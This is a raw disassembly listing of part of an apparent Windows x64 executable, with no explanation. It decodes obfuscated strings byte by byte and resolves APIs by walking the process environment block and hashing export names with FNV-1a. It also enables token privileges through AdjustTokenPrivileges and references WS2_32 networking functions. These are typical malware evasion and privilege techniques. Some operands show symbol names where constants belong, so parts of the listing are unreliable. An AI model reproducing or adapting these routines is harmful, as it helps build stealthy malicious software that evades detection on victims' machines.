mov ecx, 0xce
sub cl, al
movzx eax, dil
and al, 0xbb
add bl, cl
add al, al
mov byte [rsp + 0x36], bl
mov ecx, 0xcf
sub cl, al
movzx eax, sil
and al, 0xbc
add dil, cl
add al, al
mov byte [rsp + 0x37], dil
mov ecx, 0xd0
sub cl, al
add sil, cl
movd ecx, xmm0
mov byte [rsp + 0x38], sil
movzx eax, cl
and al, 0xbd
add al, al
sub r12b, al
add cl, r12b
mov byte [rsp + 0x39], cl
movzx ecx, byte [rsp + 0x3a]
movzx eax, cl
and al, 0xbe
add al, al
sub dl, al
add cl, dl
mov edx, 0xd3
mov byte [rsp + 0x3a], cl
movzx ecx, byte [rsp + 0x3b]
movzx eax, cl
and al, 0xbf
add al, al
sub dl, al
add cl, dl
mov edx, 0xd4
mov byte [rsp + 0x3b], cl
movzx ecx, byte [rsp + 0x3c]
movzx eax, cl
and al, 0xc0
add al, al
sub dl, al
add cl, dl
mov edx, 0xd5
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xc1
add al, al
sub dl, al
mov eax, 0xd6
add cl, dl
movzx edx, byte [rsp + 0x3e]
mov byte [rsp + 0x3d], cl
movzx ecx, dl
and cl, 0xc2
add cl, cl
sub al, cl
add dl, al
mov eax, 0xd7
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xc3
add cl, cl
sub al, cl
add dl, al
mov eax, 0xd8
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0xc4
add cl, cl
sub al, cl
add dl, al
mov eax, 0xd9
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xc5
add cl, cl
sub al, cl
add dl, al
mov eax, 0xda
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0xc6
add cl, cl
sub al, cl
add dl, al
mov eax, 0xdb
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0xc7
add cl, cl
sub al, cl
add dl, al
mov eax, 0xdc
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx ecx, dl
and cl, 0xc8
add cl, cl
sub al, cl
add dl, al
mov eax, 0xdd
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0xc9
add cl, cl
sub al, cl
add dl, al
mov eax, 0xde
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx ecx, dl
and cl, 0xca
add cl, cl
sub al, cl
add dl, al
mov eax, 0xdf
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0xcb
add cl, cl
sub al, cl
add dl, al
mov eax, 0xe0
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x48]
movzx ecx, dl
and cl, 0xcc
add cl, cl
sub al, cl
add dl, al
movzx ecx, r14b
and cl, 0xcd
mov byte [rsp + 0x48], dl
movzx edx, byte [rsp + 0x4a]
add cl, cl
mov eax, 0xe1
sub al, cl
movzx ecx, dl
add r14b, al
and cl, 0xce
add cl, cl
mov byte [rsp + 0x49], r14b
mov eax, 0xe2
sub al, cl
lea rcx, [rsp + 0x30]
add dl, al
mov byte [rsp + 0x4a], dl
call r13
mov cl, 0x69
mov r8b, 0x7e
movzx eax, cl
movzx edx, cl
and al, 1
mov r9b, 0x6c
add al, al
mov r10b, 0x72
sub byte [rsp + 0x70], al
mov r11b, 0x76
add cl, byte [rsp + 0x70]
movzx eax, dl
and al, 2
mov byte [rsp + 0x30], cl
add al, al
mov ecx, 0xfb
sub cl, al
mov bl, 0x3d
add dl, cl
movzx eax, r8b
and al, 3
mov byte [rsp + 0x31], dl
add al, al
mov ecx, 0xfc
sub cl, al
xorps xmm0, xmm0
add r8b, cl
movzx eax, r9b
and al, 4
mov byte [rsp + 0x32], r8b
add al, al
mov ecx, 0xfd
sub cl, al
mov dil, 0x31
add r9b, cl
movzx eax, r10b
and al, 5
mov byte [rsp + 0x33], r9b
add al, al
mov ecx, 0xfe
sub cl, al
mov sil, 0x3c
add r10b, cl
movzx eax, r11b
and al, 6
mov byte [rsp + 0x34], r10b
add al, al
mov ecx, 0xff
sub cl, al
mov r14b, 0x61
movzx eax, bl
add r11b, cl
and al, 7
mov byte [rsp + 0x35], r11b
movzx eax, al
mov r15b, 0x78
imul ecx, eax, 0xfe
mov r12b, 0x7f
mov r13b, 0xa
movups xmmword [rsp + 0x3d], xmm0
add bl, cl
mov byte [rsp + 0x36], bl
movzx ecx, dil
mov edx, 3
and cl, 8
mov eax, 1
add cl, cl
mov r8d, 5
sub al, cl
mov r9d, 7
add dil, al
movzx ecx, sil
and cl, 9
mov byte [rsp + 0x37], dil
add cl, cl
mov eax, 2
sub al, cl
mov r10d, 9
add sil, al
movzx ecx, r14b
and cl, r13b
mov byte [rsp + 0x38], sil
add cl, cl
mov eax, edx
sub al, cl
mov ecx, 2
add r14b, al
movzx eax, r15b
and al, 0xb
mov byte [rsp + 0x39], r14b
sub cl, al
mov eax, r8d
add cl, cl
add r15b, cl
movzx ecx, r12b
and cl, 0xc
mov byte [rsp + 0x3a], r15b
add cl, cl
sub al, cl
add r12b, al
movzx eax, r13b
and al, 0xd
mov byte [rsp + 0x3b], r12b
sub dl, al
mov eax, r9d
add dl, dl
add r13b, dl
movd edx, xmm0
mov byte [rsp + 0x3c], r13b
movzx ecx, dl
and cl, 0xe
add cl, cl
sub al, cl
mov ecx, 4
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xf
sub cl, al
mov eax, r10d
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x10
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x40]
add dl, al
movzx eax, cl
and al, 0x11
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x41]
sub r8b, al
add r8b, r8b
mov eax, 0xb
add cl, r8b
mov byte [rsp + 0x40], cl
movzx ecx, dl
and cl, 0x12
add cl, cl
sub al, cl
mov ecx, 6
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x13
sub cl, al
mov eax, recvfrom
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x14
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x44]
add dl, al
movzx eax, cl
and al, 0x15
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x45]
sub r9b, al
add r9b, r9b
mov eax, recvfrom
add cl, r9b
mov byte [rsp + 0x44], cl
movzx ecx, dl
and cl, 0x16
add cl, cl
sub al, cl
mov ecx, 8
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x17
sub cl, al
mov eax, reloc.WS2_32.dll_recvfrom
add cl, cl
mov dword [rsp + 0x70], eax
add dl, cl
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x18
add cl, cl
sub al, cl
movzx ecx, byte [rsp + 0x48]
add dl, al
movzx eax, cl
and al, 0x19
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x49]
sub r10b, al
add r10b, r10b
mov eax, reloc.WS2_32.dll_send
add cl, r10b
mov byte [rsp + 0x48], cl
movzx ecx, dl
and cl, 0x1a
add cl, cl
sub al, cl
mov ecx, 0xa
add dl, al
mov byte [rsp + 0x49], dl
movzx edx, byte [rsp + 0x4a]
movzx eax, dl
and al, 0x1b
sub cl, al
mov eax, reloc.WS2_32.dll_setsockopt
add cl, cl
add dl, cl
mov byte [rsp + 0x4a], dl
movzx edx, byte [rsp + 0x4b]
movzx ecx, dl
and cl, 0x1c
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x4b], dl
mov ecx, 0xb
movzx edx, byte [rsp + 0x4c]
movzx eax, dl
and al, 0x1d
sub cl, al
add cl, cl
add dl, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x4c], dl
call qword [rbp + 0x28]
xor eax, eax
mov r10b, 0xcb
mov qword [rsp + 0x50], rax
mov dl, 0xc5
mov dword [rsp + 0x3c], eax
mov ecx, 0x18
mov word [rsp + 0x40], ax
mov r8b, 0xb9
movzx eax, dl
mov r9b, 0xc6
and al, 0x78
mov r11b, 0xd1
sub cl, al
mov bl, 0xc8
add cl, cl
mov eax, 0x31
add dl, cl
mov dil, 0xd3
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0x79
movzx r13d, r10b
add cl, cl
mov sil, 9
sub al, cl
mov r14b, 0x2c
add r8b, al
mov ecx, 0x19
movzx eax, r9b
mov byte [rsp + 0x31], r8b
and al, 0x7a
mov r15b, 0x35
sub cl, al
mov r12b, 0x36
add cl, cl
mov eax, 0x33
add r9b, cl
movzx ecx, r10b
and cl, 0x7b
mov byte [rsp + 0x32], r9b
add cl, cl
sub al, cl
mov ecx, 0x1a
add r10b, al
movzx eax, r11b
and al, 0x7c
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x35
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x7d
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x1b
add bl, al
movzx eax, dil
and al, 0x7e
mov byte [rsp + 0x35], bl
sub cl, al
mov eax, 0x37
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0x7f
mov byte [rsp + 0x36], dil
add cl, cl
sub al, cl
mov r8, qword [rsp + 0x50]
add sil, al
movzx ecx, r15b
mov byte [rsp + 0x37], sil
and cl, 0x81
mov eax, 0x39
add cl, cl
add r14b, 0x38
sub al, cl
mov byte [rsp + 0x38], r14b
add r15b, al
mov ecx, 0x1d
movzx eax, r12b
mov byte [rsp + 0x39], r15b
and al, 0x82
mov r15d, 0x1f
sub cl, al
mov eax, 0x3b
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x83
mov byte [rsp + 0x3a], r12b
add cl, cl
sub al, cl
mov ecx, 0x1e
add r13b, al
movzx eax, r8b
and al, 0x84
mov byte [rsp + 0x3b], r13b
sub cl, al
mov eax, 0x3d
add cl, cl
lea edx, [rcx + r8]
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x85
add cl, cl
sub al, cl
mov ecx, r15d
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x86
sub cl, al
mov eax, 0x3f
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x87
add cl, cl
sub al, cl
mov ecx, 0x20
add dl, al
movzx eax, r8b
and al, 0x88
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x41]
sub cl, al
add cl, cl
mov eax, 0x41
add r8b, cl
movzx ecx, dl
and cl, 0x89
mov byte [rsp + 0x40], r8b
add cl, cl
sub al, cl
lea rcx, [rsp + 0x30]
add dl, al
mov byte [rsp + 0x41], dl
call qword [rbp + 0x28]
mov dl, 0x53
mov r8b, 0x48
mov r9b, 0x54
mov r10b, 0x51
mov r11b, 0x45
mov bl, 0x5d
xor eax, eax
mov ecx, recvfrom
mov qword [rsp + 0x50], rax
mov dil, reloc.WS2_32.dll_recvfrom
mov qword [rsp + 0x3d], rax
movzx esi, dil
movzx eax, dl
mov r14b, 0x16
and al, 0xa6
mov r12b, 0x41
sub cl, al
mov r13b, 0x46
add cl, cl
mov eax, 0x1d
add dl, cl
movzx ecx, r8b
and cl, 0xa7
mov byte [rsp + 0x30], dl
add cl, cl
sub al, cl
mov ecx, recvfrom
add r8b, al
movzx eax, r9b
and al, 0xa8
mov byte [rsp + 0x31], r8b
sub cl, al
movzx eax, r10b
add cl, cl
and al, 0xa9
add r9b, cl
add al, al
sub r15b, al
mov byte [rsp + 0x32], r9b
movzx eax, r11b
mov ecx, reloc.WS2_32.dll_recv
and al, 0xaa
add r10b, r15b
sub cl, al
mov byte [rsp + 0x33], r10b
add cl, cl
mov eax, 0x21
add r11b, cl
movzx ecx, bl
and cl, 0xab
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, dword [rsp + 0x70]
add bl, al
movzx eax, dil
and al, 0xac
mov byte [rsp + 0x35], bl
sub cl, al
mov eax, 0x23
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0xad
mov byte [rsp + 0x36], dil
add cl, cl
sub al, cl
mov ecx, sendto
add sil, al
movzx eax, r14b
and al, 0xae
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x25
add cl, cl
add r14b, cl
movzx ecx, r12b
and cl, 0xaf
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_send
add r12b, al
movzx eax, r13b
and al, 0xb0
mov byte [rsp + 0x39], r12b
sub cl, al
mov r8, qword [rsp + 0x50]
add cl, cl
add r13b, cl
mov dl, 0x47
movzx ecx, dl
mov byte [rsp + 0x3a], r13b
and cl, 0xb1
mov eax, 0x27
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_sendto
add dl, al
mov byte [rsp + 0x3b], dl
mov dl, 0x38
movzx eax, dl
and al, 0xb2
sub cl, al
mov eax, 0x29
add cl, cl
add dl, cl
movzx ecx, r8b
and cl, 0xb3
mov byte [rsp + 0x3c], dl
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_setsockopt
lea edx, [rax + r8]
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xb4
sub cl, al
mov eax, 0x2b
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xb5
add cl, cl
sub al, cl
mov ecx, 0x16
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0xb6
sub cl, al
mov eax, 0x2d
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xb7
add cl, cl
sub al, cl
mov ecx, 0x17
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0xb8
sub cl, al
mov eax, 0x2f
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0xb9
add cl, cl
sub al, cl
mov ecx, 0x18
add dl, al
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0xba
sub cl, al
add cl, cl
mov r15, qword [rbp + 0x28]
add dl, cl
movzx ecx, r8b
mov byte [rsp + 0x44], dl
and cl, 0xbb
mov eax, 0x31
add cl, cl
sub al, cl
lea rcx, [rsp + 0x30]
add r8b, al
mov byte [rsp + 0x45], r8b
call r15
mov cl, 0xae
mov dl, 0xaa
movzx eax, cl
mov r8b, 0xb3
and al, 0xdc
mov r9b, 0xed
add al, al
mov r10b, 0x88
mov r11b, 0x91
mov r14d, 0xd8
sub r14b, al
mov bl, 0x92
add cl, r14b
movzx eax, dl
and al, 0xdd
mov byte [rsp + 0x30], cl
add al, al
mov ecx, 0xd9
sub cl, al
mov dil, 0xe7
add dl, cl
movzx eax, r8b
and al, 0xde
mov byte [rsp + 0x31], dl
add al, al
mov ecx, 0xda
sub cl, al
xorps xmm0, xmm0
add r8b, cl
movzx eax, r9b
and al, 0xdf
mov byte [rsp + 0x32], r8b
add al, al
mov ecx, 0xdb
sub cl, al
xor esi, esi
add r9b, cl
movzx eax, r10b
and al, 0xe0
mov byte [rsp + 0x33], r9b
add al, al
mov ecx, 0xdc
sub cl, al
movzx eax, r11b
and al, 0xe1
add r10b, cl
add al, al
mov byte [rsp + 0x34], r10b
mov ecx, 0xdd
sub cl, al
movzx eax, bl
add r11b, cl
and al, 0xe2
add al, al
mov byte [rsp + 0x35], r11b
mov ecx, 0xde
sub cl, al
movzx eax, dil
add bl, cl
and al, 0xe3
add al, al
mov byte [rsp + 0x36], bl
mov ecx, 0xdf
sub cl, al
add dil, cl
movd ecx, xmm0
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x37], dil
movzx eax, cl
and al, 0xe4
mov edx, 0xe0
add al, al
sub dl, al
add cl, dl
mov edx, 0xe1
mov byte [rsp + 0x38], cl
movzx ecx, byte [rsp + 0x39]
movzx eax, cl
and al, 0xe5
add al, al
sub dl, al
add cl, dl
mov edx, 0xe2
mov byte [rsp + 0x39], cl
movzx ecx, byte [rsp + 0x3a]
movzx eax, cl
and al, 0xe6
add al, al
sub dl, al
mov eax, 0xe3
add cl, dl
movzx edx, byte [rsp + 0x3b]
mov byte [rsp + 0x3a], cl
movzx ecx, dl
and cl, 0xe7
add cl, cl
sub al, cl
add dl, al
mov eax, 0xe4
mov byte [rsp + 0x3b], dl
movzx edx, byte [rsp + 0x3c]
movzx ecx, dl
and cl, 0xe8
add cl, cl
sub al, cl
add dl, al
mov eax, 0xe5
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0xe9
add cl, cl
sub al, cl
add dl, al
mov eax, 0xe6
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0xea
add cl, cl
sub al, cl
add dl, al
mov eax, 0xe7
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xeb
add cl, cl
sub al, cl
add dl, al
mov eax, 0xe8
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0xec
add cl, cl
sub al, cl
add dl, al
mov eax, 0xe9
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xed
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0xee
add cl, cl
mov eax, 0xea
sub al, cl
add dl, al
mov eax, 0xeb
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0xef
add cl, cl
sub al, cl
add dl, al
mov eax, 0xec
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx ecx, dl
and cl, 0xf0
add cl, cl
sub al, cl
add dl, al
mov eax, 0xed
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0xf1
add cl, cl
sub al, cl
add dl, al
mov eax, 0xee
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx ecx, dl
and cl, 0xf2
add cl, cl
sub al, cl
add dl, al
mov eax, 0xef
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0xf3
add cl, cl
sub al, cl
movzx ecx, sil
add dl, al
and cl, 0xf4
add cl, cl
mov byte [rsp + 0x47], dl
mov eax, 0xf0
sub al, cl
lea rcx, [rsp + 0x30]
add sil, al
mov byte [rsp + 0x48], sil
call r15
xor r13d, r13d
mov dl, 0x53
movzx eax, dl
mov qword [rsp + 0x3b], r13
and al, 0x1f
mov word [rsp + 0x43], r13w
mov r8b, 0x61
mov ecx, 0x23
sub cl, al
mov r9b, 0x1d
add cl, cl
mov eax, 0x47
add dl, cl
mov r10b, 0x6a
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0x20
mov r11b, 0x68
add cl, cl
mov bl, 0x1a
sub al, cl
mov dil, 0x22
add r8b, al
mov sil, 0x1b
mov r14b, 0x62
mov r15b, WSAGetLastError
mov r12b, 0xf0
movzx eax, r9b
mov byte [rsp + 0x31], r8b
and al, 0x21
mov ecx, 0x24
sub cl, al
mov eax, 0x49
add cl, cl
add r9b, cl
movzx ecx, r10b
and cl, dil
mov byte [rsp + 0x32], r9b
add cl, cl
sub al, cl
mov ecx, 0x25
add r10b, al
movzx eax, r11b
and al, 0x23
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x4b
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x24
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x26
add bl, al
movzx eax, dil
and al, 0x25
mov byte [rsp + 0x35], bl
sub cl, al
mov eax, 0x4d
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0x26
mov byte [rsp + 0x36], dil
add cl, cl
sub al, cl
mov ecx, 0x27
add sil, al
movzx eax, r14b
and al, 0x27
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x4f
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x28
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
mov ecx, 0x28
add r15b, al
movzx eax, r12b
and al, 0x29
mov byte [rsp + 0x39], r15b
sub cl, al
mov eax, 0x51
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x2a
mov byte [rsp + 0x3a], r12b
add cl, cl
sub al, cl
mov ecx, 0x29
lea edx, [rax + r13]
mov byte [rsp + 0x3b], dl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 0x2b
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x2c
mov eax, 0x53
add cl, cl
sub al, cl
mov ecx, 0x2a
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x2d
sub cl, al
mov eax, 0x55
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x2e
add cl, cl
sub al, cl
mov ecx, 0x2b
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x2f
sub cl, al
mov eax, 0x57
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x30
add cl, cl
sub al, cl
mov ecx, 0x2c
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x31
sub cl, al
mov eax, 0x59
add cl, cl
add dl, cl
movzx ecx, r13b
and cl, 0x32
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x44]
add cl, cl
sub al, cl
mov ecx, 0x2d
add r13b, al
movzx eax, dl
and al, 0x33
mov byte [rsp + 0x43], r13b
sub cl, al
add cl, cl
add dl, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x44], dl
call qword [rbp + 0x28]
mov rax, qword gs:[0x60]
xor edi, edi
mov r15d, edi
mov r14d, 0xa49a7ec0
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14000718c
cmp word [rax + 0x48], di
je 0x14000718c
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
movups xmmword [rsp + 0x30], xmm0
sub cx, 8
test r15d, r15d
je 0x140007013
mov r9, qword [rsp + 0x38]
mov r10d, 0xedbf3091
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
cmp r9, rbx
je 0x14000700a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, rbx
jne 0x140006fe0
cmp r10d, r15d
jne 0x14000718c
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
mov esi, edx
shr r13, 0x20
add rsi, r11
cmp rsi, r11
je 0x14000718c
mov ebx, dword [rsi + 0x18]
test ebx, ebx
je 0x14000718c
mov ecx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r10d, dword [rsi + 0x20]
nop word [rax + rax]
dec ebx
lea rcx, [rcx + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov edx, dword [rcx + r11]
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add rdx, r11
add r9, r11
mov qword [rsp + 0x50], rdx
cmp rdx, rsi
jbe 0x140007089
lea rcx, [rsi + r13]
cmp rdx, rcx
jae 0x140007089
mov r12b, 1
jmp 0x14000708c
xor r12b, r12b
movzx r8d, byte [r9]
mov r10d, 0xedbf3091
inc r9
test r8b, r8b
je 0x1400070d1
nop
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x1400070a0
mov rdx, qword [rsp + 0x50]
cmp r10d, r14d
je 0x1400070f1
mov ecx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r10d, dword [rsi + 0x20]
test ebx, ebx
jne 0x140007050
mov rax, qword [rax]
jmp 0x140006f90
test r12b, r12b
je 0x140007194
movzx r8d, byte [rdx]
mov r15d, 0xedbf3091
mov r14d, r15d
cmp r8b, 0x2e
je 0x14000713c
nop dword [rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx + 1]
cmova ecx, eax
inc rdx
xor ecx, r15d
imul r15d, ecx, 0x1000193
cmp r8b, 0x2e
jne 0x140007110
movzx r8d, byte [rdx + 1]
inc rdx
test r8b, r8b
je 0x14000717b
nop dword [rax]
movsx eax, r8b
lea rdx, [rdx + 1]
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx]
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
test r8b, r8b
jne 0x140007150
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140006f90
mov dword [rbp + 0x28], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea r9, [rbp - 0x20]
mov rcx, rax
lea edx, [r8 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x1400071ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x14000829e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x20]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000829e
mov rcx, qword [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x18]
lea rax, [rbp + 8]
mov dword [rbp - 0x18], 1
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rbp - 0xc], 2
mov qword [rbp - reloc.WS2_32.dll_sendto], 0x14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov ebx, eax
mov qword [rbp - 0x14], 0xa
lea rax, [rbp + 0x28]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rax
xor edx, edx
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test ebx, ebx
je 0x14000829e
test eax, eax
je 0x14000829e
call fcn.140004d70
test rax, rax
je 0x1400078fe
mov cl, 0x4c
xor r13d, r13d
movzx eax, cl
mov qword [rbp + 0x14], r13
and al, 0x25
mov dword [rbp + 0x1c], r13d
sub byte [rsp + 0x70], al
movzx r9d, cl
mov eax, dword [rsp + 0x70]
mov dl, 0x42
add al, al
mov word [rbp + 0x20], r13w
add cl, al
mov r8b, 0x50
mov byte [rbp + 8], cl
movzx eax, dl
and al, 0x26
mov ecx, 0x23
add al, al
mov r10b, 0x46
sub cl, al
mov r11b, 9
add dl, cl
movzx eax, r8b
and al, 0x27
mov byte [rbp + 9], dl
mov ecx, sendto
mov bl, 0x43
sub cl, al
mov dil, 0x59
add cl, cl
movzx eax, r9b
add r8b, cl
and al, 0x28
add al, al
mov byte [rbp + 0xa], r8b
mov ecx, 0x25
mov sil, 0x58
sub cl, al
mov r14b, 0x5c
add r9b, cl
movzx eax, r10b
and al, 0x29
mov byte [rbp + 0xb], r9b
mov ecx, reloc.WS2_32.dll_send
mov r15b, 0x5a
sub cl, al
mov r12b, 0x33
add cl, cl
movzx eax, r11b
add r10b, cl
and al, 0x2a
add al, al
mov byte [rbp + 0xc], r10b
mov ecx, 0x27
sub cl, al
movzx eax, bl
add r11b, cl
and al, 0x2b
mov ecx, reloc.WS2_32.dll_sendto
mov byte [rbp + 0xd], r11b
sub cl, al
movzx eax, dil
add cl, cl
and al, 0x2c
add bl, cl
add al, al
mov ecx, 0x29
mov byte [rbp + 0xe], bl
sub cl, al
movzx eax, sil
add dil, cl
and al, 0x2d
mov ecx, reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xf], dil
sub cl, al
movzx eax, r14b
add cl, cl
add sil, cl
mov byte [rbp + 0x10], sil
and al, 0x2e
add al, al
